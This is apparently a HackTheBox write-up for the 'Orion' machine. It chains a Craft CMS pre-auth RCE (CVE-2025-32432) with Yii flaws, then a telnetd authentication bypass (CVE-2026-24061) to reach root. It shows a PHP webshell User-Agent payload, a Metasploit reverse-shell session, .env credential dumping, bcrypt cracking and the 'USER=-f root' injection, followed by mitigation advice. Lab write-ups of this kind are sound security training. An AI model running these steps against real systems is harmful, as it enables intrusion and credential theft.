HTB: Orion — Unauthenticated RCE on Craft CMS via CVE-2025-32432
Writeup for the HackTheBox machine Orion — a Craft CMS installation leaking server internals through a misconfigured devMode and vulnerable to unauthenticated remote code execution via CVE-2025-32432, a CVSS 10.0 flaw in Craft's image transformation endpoint.
Challenge Overview
| Field | Detail |
|---|---|
| Platform | Hack The Box |
| Machine Name | Orion |
| OS | Linux (Ubuntu) |
| Difficulty | Easy |
| Target IP | 10.129.77.48 |
| Hostname | orion.htb |
| Primary CVE | CVE-2025-32432 (CVSS 10.0) |
| Secondary CVE | CVE-2024-58136 (CVSS 9.0) |
| Flags | |
| Completion Time | 1 hour |
Table of Contents
- Challenge Overview
- What is Craft CMS?
- Reconnaissance
- Exploitation
- Post-Exploitation
- Privilege Escalation
- Captured Flags
- Vulnerabilities Exploited
- Defense and Mitigation
- Key Takeaways
What is Craft CMS?
Craft CMS is a flexible PHP-based content management system built on the Yii 2 framework. It is used by enterprises, government agencies, and high-traffic digital platforms. Because it runs on PHP/Yii and exposes a web-facing action routing system, any critical vulnerability in its request handling pipeline is internet-exploitable with no authentication required — making CVEs against it particularly high-severity.
In April 2025, researchers at Orange Cyberdefense discovered CVE-2025-32432, a CVSS 10.0 remote code execution vulnerability affecting all Craft CMS versions from 3.x through 5.x. It was chained in the wild with CVE-2024-58136, a flaw in the underlying Yii framework itself. Together, these two CVEs allowed unauthenticated attackers to fully compromise servers — and approximately 300 real-world deployments were confirmed compromised before patches were widely applied.
Reconnaissance
Hosts File Configuration
When navigating to http://10.129.77.48 in a browser, the server redirected to http://orion.htb/ — a virtual host that does not resolve via public DNS. As with all HTB machines using virtual hosting, the target hostname must be added to the local /etc/hosts file first.
1
sudo echo "10.129.77.48 orion.htb" >> /etc/hosts
After this entry is added, http://orion.htb/ resolves correctly and the Orion Telecom landing page loads.
Figure 1: Orion Telecom homepage — a fictional telecommunications infrastructure provider used as the lab’s cover story.
Port Scan
The first step in any engagement is identifying what services are running on the target. A full TCP port scan with version detection was performed using Nmap.
1
sudo nmap -sV -p- 10.129.77.48
1
2
3
4
5
6
7
8
9
10
11
12
Starting Nmap 7.95 at 2026-10-21 22:38 EDT
Nmap scan report for orion.htb (10.129.77.48)
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 257.62 seconds
Command Breakdown:
| Flag | Purpose |
|---|---|
-sV | Probe open ports to determine service and version |
-p- | Scan all 65,535 TCP ports, not just the top 1,000 |
The attack surface is minimal: two open ports. Port 22 (SSH) is typically unapproachable without credentials at this stage, so all attention turns to port 80 — the web application.
Web Enumeration
Visiting http://orion.htb/ presents the Orion Telecom corporate website — a polished landing page for a fictional telecommunications provider offering fiber backbone, managed infrastructure, and carrier interconnection services. The page contains a contact form and a footer.
The most important detail on the entire page is the footer:
Powered by CraftCMS
This single line immediately identifies the underlying CMS and gives us a direct path toward known CVEs. The og:image tag in the HTML head also references assets/images/hero-network.jpg, confirming Craft’s asset management system is active — relevant for the exploit that follows.
Figure 2: The page footer revealing the CMS technology — Powered by CraftCMS is the single most important detail on the page.
Technology Fingerprinting
To confirm the exact framework stack, the contact form was submitted through Burp Suite, which triggered a verbose error response. Because the server is running with devMode enabled in Craft’s config/general.php, any routing error produces a full Yii framework debug page instead of a standard HTTP error.
1
2
3
HTTP/1.1 404 Not Found
Server: nginx/1.18.0 (Ubuntu)
X-Powered-By: Craft CMS
The error page footer revealed the complete framework stack:
1
2
nginx/1.18.0
Yii Framework / 2.0.51
And the stack trace exposed the full server-side file paths:
1
2
3
4
/var/www/html/craft/vendor/craftcms/cms/src/web/Request.php:1409
/var/www/html/craft/vendor/yiisoft/yii2/web/Application.php:82
/var/www/html/craft/vendor/craftcms/cms/src/web/Application.php:329
/var/www/html/craft/web/index.php:12
Figure 3: The Yii debug error page triggered by the contact form — leaking the framework version, server file paths, and confirming devMode is enabled.
This single response gave us three critical findings:
- devMode is ON — verbose error pages are enabled on a production-facing server.
- Yii 2.0.51 — the framework version, confirming CVE-2024-58136 applicability.
- Full disk path —
/var/www/html/craft/is the application root. This is invaluable for post-exploitation navigation.
Directory Bruteforce
With the CMS confirmed, directory bruteforcing was run using Feroxbuster against the target to map available routes.
1
feroxbuster -u http://orion.htb/
1
2
3
4
5
6
7
302 GET http://orion.htb/admin => http://orion.htb/admin/login
302 GET http://orion.htb/logout => http://orion.htb/
200 GET http://orion.htb/
200 GET http://orion.htb/assets/css/style.css
200 GET http://orion.htb/assets/js/main.js
301 GET http://orion.htb/assets/ => http://orion.htb/assets/
301 GET http://orion.htb/assets/images/
The most important discovery here is the redirect from /admin to /admin/login — the Craft CMS admin control panel is exposed. This means:
- If default or weak credentials are in play, we could log in directly.
- More importantly, the admin panel’s login page often reveals the exact Craft CMS build number in its page source — which we need to confirm CVE applicability.
Figure 4: Feroxbuster output showing the admin panel redirect.
🧠 Think First! Before reading the exploitation section: you now know the server runs Craft CMS, Yii 2.0.51, and has an admin panel at
/admin/login. You also know the CVE-2025-32432 exploit requires a valid asset ID from the target Craft installation. How would you obtain one without being authenticated? Think about what information you already have from the page source, the og:image tag, and Craft’s action routing system. Try to enumerate asset IDs manually before reading the solution.
Exploitation
CVE-2025-32432 — Craft CMS Unauthenticated RCE
CVE-2025-32432 is a CVSS 10.0 unauthenticated remote code execution vulnerability affecting Craft CMS versions 3.x, 4.x, and 5.x. It was discovered in April 2025 by researchers at Orange Cyberdefense during a forensic investigation of a compromised server, and was patched in versions 3.9.15, 4.14.15, and 5.6.17.
The vulnerability lives in Craft’s image transformation feature. Craft allows administrators to define transforms — operations like resizing or reformatting images — that are applied on the fly when an asset is requested. The flaw is that an unauthenticated attacker can send a crafted POST request to the image transform action endpoint, and the data within that POST is interpreted by the server rather than safely sanitised. This leads to PHP code execution in the context of the web server process.
The exploit requires one prerequisite: a valid asset ID from the target installation. Craft tracks uploaded files as “assets” with numeric IDs stored in its database. The transform endpoint only processes requests tied to existing asset IDs — but because the ID enumeration itself is unauthenticated, this is a trivially bypassed gate.
This CVE is a spiritual successor to CVE-2023-41892, an earlier unauthenticated RCE in Craft 4, and the two share code-path DNA. CVE-2025-32432 is formally described as “an additional fix” for the 2023 vulnerability.
It is chained here with CVE-2024-58136 (CVSS 9.0), a flaw in the underlying Yii 2 framework’s routing and parameter handling that facilitates the initial request manipulation.
Initial Foothold
A public proof-of-concept for CVE-2025-32432 is available at github.com/cd-ratel/CVE-2025-32432. It is a Python script that automates the full exploit chain. Dependencies were already satisfied in the HTB Pwnbox environment.
1
2
3
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
How the Exploit Chain Works
Before running the script it is worth understanding what it does under the hood — this is what separates a script kiddie from someone who actually knows what they exploited.
The PoC executes a three-stage attack chain:
Stage 1 — CSRF Token Acquisition. Craft CMS requires a valid CSRF token for all action endpoint requests. The script fetches one unauthenticated from /actions/users/session-info. This endpoint is intentionally public — it is how Craft bootstraps frontend sessions — but the script abuses it to obtain a token that legitimises the subsequent exploit requests.
Stage 2 — Asset ID Probing. The image transform endpoint only accepts requests referencing a valid, existing asset ID. The script probes sequentially starting from ID 1. A 500 Internal Server Error response (as opposed to a clean 404) signals that the asset exists and Craft attempted to process it — the 500 occurs because the malicious itemFile parameter causes an error inside the transform pipeline, not because the asset was absent. Asset ID 2 returned HTTP 500, confirming it as a valid target.
Stage 3 — Log Poisoning via User-Agent. With a valid asset ID in hand, the script poisons the nginx access log at /var/log/nginx/access.log. It sends an HTTP request with a PHP webshell embedded in the User-Agent header:
1
User-Agent: <?php system($_GET['cmd']); ?>
Every request to the nginx server is appended to this log file verbatim, including the raw User-Agent string. The exploit then triggers the Craft transform gadget with itemFile=/var/log/nginx/access.log — instructing PHP to include and evaluate the log file as PHP code. The embedded webshell executes, and the script passes commands through the cmd GET parameter.
Running the Python PoC — Log Pollution Issue
1
python3 exploit.py -u http://orion.htb -c 'id'
1
2
3
4
5
6
7
8
9
10
11
12
13
[*] Fetching CSRF token from http://orion.htb/actions/users/session-info
[*] CSRF: HxD6rdauR67j4t33mYTG5Ri4ESPsrUAl3XKL8dSN...
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 500
[*] Wrapper missing; dropping to /tmp/.cve32432_w.php via log poisoning
[*] Poisoning access.log via User-Agent (len=1867)
[*] poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*] HTTP 500
[!] Markers not found; log is polluted by an older <?php ... exit; ?>
[!] block that runs before the wrapper drop can fire.
[!] Fix: rotate access.log on the target, or reset the environment.
The exploit confirmed asset ID 2 is valid (HTTP 500 on the transform endpoint indicates Craft attempted processing, rather than a clean 404 meaning asset not found). However, the log poisoning stage failed.
This is a shared-lab artefact common in HTB environments: because the nginx access log is written to by every player attacking the same machine instance, a previous player’s <?php ... exit; ?> block was already present in the log. Since PHP evaluates the log file top-to-bottom and the older block runs first, it exits before the new payload can fire. Even after a machine reset, the log fills up again almost immediately on a popular machine.
The Python PoC’s log poisoning technique is fundamentally unreliable in this environment. A different exploitation method was needed.
Exploitation via Metasploit — PHP Session Poisoning
The Metasploit Framework includes a dedicated module for CVE-2025-32432 that uses a fundamentally different code execution primitive: PHP session file poisoning instead of log poisoning. This sidesteps the shared log problem entirely.
1
msfconsole
1
msf > search 32432
1
2
3
4
5
6
7
8
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 2025-04-14 excellent Yes Craft CMS Image Transform Preauth RCE (CVE-2025-32432)
1 \_ target: PHP In-Memory . . . .
2 \_ target: Unix/Linux Command Shell . . . .
1
2
3
4
msf > use 0
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set LHOST 10.10.15.69
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set RHOSTS http://orion.htb/admin/login
msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > run
1
2
3
4
5
6
7
8
9
[*] Started reverse TCP handler on 10.10.15.69:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Leaked session.save_path: /var/lib/php/sessions
[+] The target is vulnerable. Session path leaked
[*] Injecting stub & triggering payload...
[*] Sending stage (42137 bytes) to 10.129.77.51
[*] Meterpreter session 1 opened (10.10.15.69:4444 -> 10.129.77.51:55670) at 2026-10-21 23:13:07 -0400
(Meterpreter 1)(/var/www/html/craft/web) >
Figure 5: Meterpreter session established — code execution as the web server process inside /var/www/html/craft/web.
Why the Metasploit Module Succeeded
The critical difference is visible in the module’s check output: Leaked session.save_path: /var/lib/php/sessions. Instead of poisoning the shared nginx access log, the Metasploit module:
- Leaks the PHP session directory by triggering a verbose Craft error that discloses the
session.save_pathconfiguration value — another consequence ofdevModebeing enabled. - Poisons a PHP session file at
/var/lib/php/sessions/sess_<id>by injecting PHP code into a session variable that Craft writes to disk. - Triggers evaluation of that session file through the transform gadget using
itemFile=/var/lib/php/sessions/sess_<id>.
Unlike the access log — which is shared, append-only, and polluted by every other player — each player’s PHP session file is unique to their session ID. There is no cross-contamination between players, and no stale exit blocks from prior runs. This makes session poisoning a significantly more robust technique for this CVE in shared lab environments.
The module’s excellent rank and built-in AutoCheck reflect the reliability of this approach.
Post-Exploitation
Situational Awareness
Dropping into a system shell from Meterpreter and running basic enumeration:
1
2
shell
id
1
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The shell runs as www-data — the nginx/PHP web server process user. This is standard for a web application foothold and gives us read access to the entire application directory. The current working directory is /var/www/html/craft/web, the Craft public webroot.
1
2
3
4
5
/var/www/html/craft/web/
├── assets/
├── cpresources/
├── index.html
└── index.php
Credential Discovery — The .env File
🧠 Think First! You have a shell as
www-datainside a Craft CMS application. Where would the application store its database credentials? Think about how PHP applications typically handle environment-specific configuration before reading on.
Craft CMS follows the Twelve-Factor App convention of storing all environment-specific secrets in a .env file in the project root — one directory above the public webroot. This file is never served publicly by nginx (the webroot is /craft/web/, not /craft/), but it is fully readable by the web server process.
1
cat /var/www/html/craft/.env
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# The application ID used to to uniquely store session and cache data, mutex locks, and more
CRAFT_APP_ID=CraftCMS--67912ad2-1f1b-4993-bfec-e64daa5c23ff
# The environment Craft is currently running in (dev, staging, production, etc.)
CRAFT_ENVIRONMENT=dev
# General settings
CRAFT_SECURITY_KEY=RRS86F6i2JQKdC6kfEI7frVxA47WVMx8
CRAFT_DEV_MODE=true
CRAFT_ALLOW_ADMIN_CHANGES=true
CRAFT_DISALLOW_ROBOTS=true
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
CRAFT_DB_SCHEMA=
CRAFT_DB_TABLE_PREFIX=
PRIMARY_SITE_URL=http://orion.htb/
This single file yields several critical findings:
| Variable | Value | Significance |
|---|---|---|
CRAFT_DEV_MODE | true | Confirms the verbose error page misconfiguration — it is hardcoded in config, not a runtime accident |
CRAFT_ENVIRONMENT | dev | The server is configured as a development environment despite being internet-facing |
CRAFT_DB_USER | root | The application connects to MySQL as the root user — a serious misconfiguration |
CRAFT_DB_PASSWORD | SuperSecureCraft123Pass! | Plaintext database root password |
CRAFT_SECURITY_KEY | RRS86F6i2JQKdC6kfEI7frVxA47WVMx8 | Craft’s encryption key for signed URLs and sensitive data |
Running the application as the MySQL root user means that a SQL injection vulnerability anywhere in Craft would give an attacker full database server control — FILE privileges, INTO OUTFILE, and the ability to read arbitrary files from the database server process.
Database Access
With the root credentials in hand, the local MySQL database was accessed directly:
1
mysql -u root -p'SuperSecureCraft123Pass!' orion
1
mysql -u root -p'SuperSecureCraft123Pass!' orion -e "select id,username,email,password,admin from users;"
1
2
id username email password admin
1 admin adam@orion.htb $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS 1
The database contains one user — admin, with email adam@orion.htb. The email prefix adam is almost certainly a system account name. The password field contains a bcrypt hash with a cost factor of 13 ($2y$13$...), meaning each candidate takes significant compute time to test.
Figure 6: MySQL users table output showing the admin account and bcrypt hash.
Hash Cracking
The bcrypt hash was saved and attacked with Hashcat using the rockyou.txt wordlist.
1
2
echo '$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS' > hash.txt
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
Hashcat mode 3200 is bcrypt/Blowfish. Running on CPU only (AMD EPYC via OpenCL) the cracking speed was approximately 10 H/s — deliberately slow by design, as bcrypt’s cost factor is intended to make brute-forcing impractical. Despite this, the hash fell in 65 seconds with only 656 candidates tested — it was near the very top of rockyou.txt.
1
2
3
4
5
6
7
8
9
$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS:darkangel
Session..........: hashcat
Status...........: Cracked
Time.Started.....: Wed Oct 21 23:32:18 2026
Time.Estimated...: Wed Oct 21 23:33:23 2026 (0 secs)
Speed.#1.........: 10 H/s
Recovered........: 1/1 (100.00%) Digests
Progress.........: 656/14344385 (0.00%)
Cracked password: darkangel
Even with bcrypt’s intentional slowness, a weak password in a common wordlist will always fall. This is the fundamental lesson of bcrypt — it slows attackers down, but it cannot save a bad password.
Lateral Movement — SSH as adam
With the cracked credential, SSH access was attempted for the system user adam:
1
2
ssh adam@orion.htb
# Password: darkangel
1
# TODO: Add SSH login output
Figure 7: SSH login as adam using the cracked Craft CMS admin password.
User Flag
1
cat ~/user.txt
🚩 User Flag: [redacted — try it yourself!]
Privilege Escalation
Internal Service Enumeration
With a shell as adam, the next step is identifying any internally exposed services that were not reachable from outside the network. The ss command lists all listening sockets:
1
ss -tlnp
1
2
3
4
5
6
7
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 10 127.0.0.1:23 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
Port 3306 is the MySQL database already accessed. Port 53 is the local DNS resolver. The interesting discovery is port 23 bound exclusively to 127.0.0.1 — a Telnet service invisible from outside the machine, only reachable from a local shell.
Figure 8: ss -tlnp output revealing the internal Telnet service on port 23.
What is Telnet on Port 23?
🧠 Think First! You have discovered a Telnet service running on localhost port 23. Before connecting, think: what information do you need to exploit this? What would you check first — the version or the credentials? What is unusual about a Telnet service running internally on a modern Ubuntu server?
Telnet is a decades-old plaintext remote access protocol that was superseded by SSH in most environments. Seeing it running internally on a modern Ubuntu 22.04 server in a CTF context is a strong signal that it is intentionally vulnerable — the question is which CVE targets it.
The version was identified by connecting directly:
1
telnet 127.0.0.1 23
1
2
3
Linux 5.15.0-177-generic (orion) (pts/1)
orion login:
And by checking the client binary version:
1
telnet --version
1
telnet (GNU inetutils) 2.7
The service is running GNU inetutils-telnetd 2.7.
CVE-2026-24061 — inetutils-telnetd Authentication Bypass
A search for inetutils-telnetd 2.7 exploit reveals CVE-2026-24061, an authentication bypass vulnerability affecting inetutils-telnetd versions 1.9.3 through 2.7.
How the Vulnerability Works
The TELNET protocol supports a negotiation option called NEW-ENVIRON, which allows the connecting client to send environment variables to the server before authentication occurs. The inetutils-telnetd daemon passes these environment variables directly into the login process that handles authentication.
The Linux login binary accepts a -f flag meaning “already authenticated — do not prompt for a password.” By sending the environment variable USER='-f root' via the NEW-ENVIRON option, the client tricks telnetd into invoking login with the arguments -f root, which bypasses the password prompt entirely and logs in as root.
This is a pre-authentication vulnerability — no valid credentials are required at any point. The entire authentication mechanism is bypassed by abusing the TELNET protocol’s own option negotiation.
Exploitation
A public PoC for CVE-2026-24061 is available at github.com/balgan/CVE-2026-24061. The exploit was copied to the target and executed:
1
2
3
nano exploit.py # paste PoC code
chmod +x exploit.py
./exploit.py -p 23 127.0.0.1
1
2
3
4
5
6
7
8
9
10
11
12
13
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - inetutils-telnetd Authentication Bypass ║
║ Affects: inetutils-telnetd 1.9.3 - 2.7 ║
╚══════════════════════════════════════════════════════════════╝
[*] Connected to 127.0.0.1:23
[*] Negotiating TELNET options...
[*] Agreed to NEW-ENVIRON (sending USER='-f root')
[+] Sent USER='-f root' via NEW-ENVIRON
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-177-generic x86_64)
root@orion:~# [*] Entering interactive mode (Ctrl+] to escape)
Figure 9: CVE-2026-24061 exploit sending USER='-f root' via NEW-ENVIRON, bypassing authentication and landing a root shell.
The exploit negotiated the NEW-ENVIRON option with the telnetd daemon, injected USER='-f root' before authentication was evaluated, and received a root shell with no password prompt.
Root Flag
1
cat /root/root.txt
🚩 Root Flag: [redacted — try it yourself!]
Captured Flags
| Flag | Value | Location |
|---|---|---|
| User | [redacted — try it yourself!] | /home/adam/user.txt |
| Root | [redacted — try it yourself!] | /root/root.txt |
Vulnerabilities Exploited
| CVE | Component | CVSS | Type | Patched In |
|---|---|---|---|---|
| CVE-2025-32432 | Craft CMS — Image Transform | 10.0 (Critical) | Unauthenticated RCE | 3.9.15 / 4.14.15 / 5.6.17 |
| CVE-2024-58136 | Yii 2 Framework | 9.0 (Critical) | Parameter injection | Yii 2.0.52 |
| CVE-2026-24061 | inetutils-telnetd 1.9.3–2.7 | Critical | Authentication Bypass via NEW-ENVIRON | inetutils 2.8+ |
| Misconfiguration | Craft devMode=true | N/A | Information Disclosure | Set to false in production |
| Misconfiguration | MySQL running as root user | N/A | Privilege escalation surface | Use dedicated DB user |
| Weak Credential | Bcrypt hash cracked in 65s | N/A | Password reuse across CMS and system | Use strong unique passwords |
Defense and Mitigation
Patch immediately. Any Craft CMS installation running a version below 3.9.15, 4.14.15, or 5.6.17 is directly exploitable by an unauthenticated attacker with network access. The patch is one composer update away.
Disable devMode in production. The devMode setting in config/general.php is intended for local development only. When enabled on an internet-facing server, it dumps full stack traces, framework versions, server file paths, and internal application state into HTTP responses. Any of this information assists an attacker in targeting the correct CVE and navigating the server post-exploitation. The correct configuration is:
1
2
3
4
// config/general.php
return [
'devMode' => false, // Never true in production
];
Restrict the admin panel. The Craft admin panel at /admin/login should never be accessible from the public internet. Restrict access to trusted IP ranges via nginx configuration:
1
2
3
4
location /admin {
allow 10.0.0.0/8; # internal range only
deny all;
}
Apply Web Application Firewall rules. The transform endpoint that CVE-2025-32432 targets has a known request signature. WAF rules blocking unexpected POST bodies to /actions/assets/generate-transform or similar routes provide a stop-gap while patching is arranged.
Upgrade Yii. CVE-2024-58136 exists in the Yii 2 framework layer. Upgrade to Yii 2.0.52 or later alongside the Craft CMS patch.
Key Takeaways
- Technology disclosure is a real risk. A single line in the page footer (
Powered by CraftCMS) handed us a precise CVE target. Suppress or remove CMS fingerprinting from production sites. - devMode is a loaded gun. Enabling
devMode=trueon a public server is a critical misconfiguration. It disclosed the framework version, server file paths, and application internals in a single HTTP response — all of which fed directly into the attack chain. - Unauthenticated RCE on a CVSS 10 CVE means patch speed matters. CVE-2025-32432 was being exploited in the wild before many organisations had applied the patch. The lesson is that high-severity CMS vulnerabilities move from disclosure to exploitation in days.
- When one exploit technique fails, understand why before switching tools. The Python PoC’s log poisoning failed due to shared-lab pollution, not a fundamental flaw in the CVE. Understanding the mechanism pointed directly to session poisoning as a more reliable alternative — and to the Metasploit module that implemented it.
- Config files are treasure maps. The
.envfile disclosed database credentials, the encryption key, environment configuration, and confirmeddevMode=true. Protecting application config files from the web server process should be a baseline hardening requirement. - Bcrypt slows attackers but cannot save weak passwords. A cost-13 bcrypt hash cracked in 65 seconds because the underlying password (
darkangel) was common. Strong hashing algorithms only buy time — the password itself must also be strong and unique. - Internal services are part of the attack surface. Port 23 was invisible from outside but fully exploitable from inside. Enumerate localhost ports as a standard post-exploitation step —
ss -tlnptakes two seconds and can reveal the entire privilege escalation path. - Legacy protocols carry legacy vulnerabilities. Telnet was deprecated for SSH decades ago. Running
inetutils-telnetdon a modern server introduced CVE-2026-24061 — a trivial authentication bypass that handed root access in a single exploit run. Avoid legacy network services entirely in production environments.
⚠️ Ethical Use Disclaimer
This writeup documents exploitation techniques performed exclusively within an authorised Hack The Box lab environment. The vulnerabilities described — including CVE-2025-32432 and CVE-2024-58136 — are real CVEs affecting production software. All techniques shown here are for educational purposes and must only ever be applied against systems you own or have explicit written authorisation to test. Unauthorised exploitation of these vulnerabilities against systems you do not own is illegal and unethical. Always hack responsibly.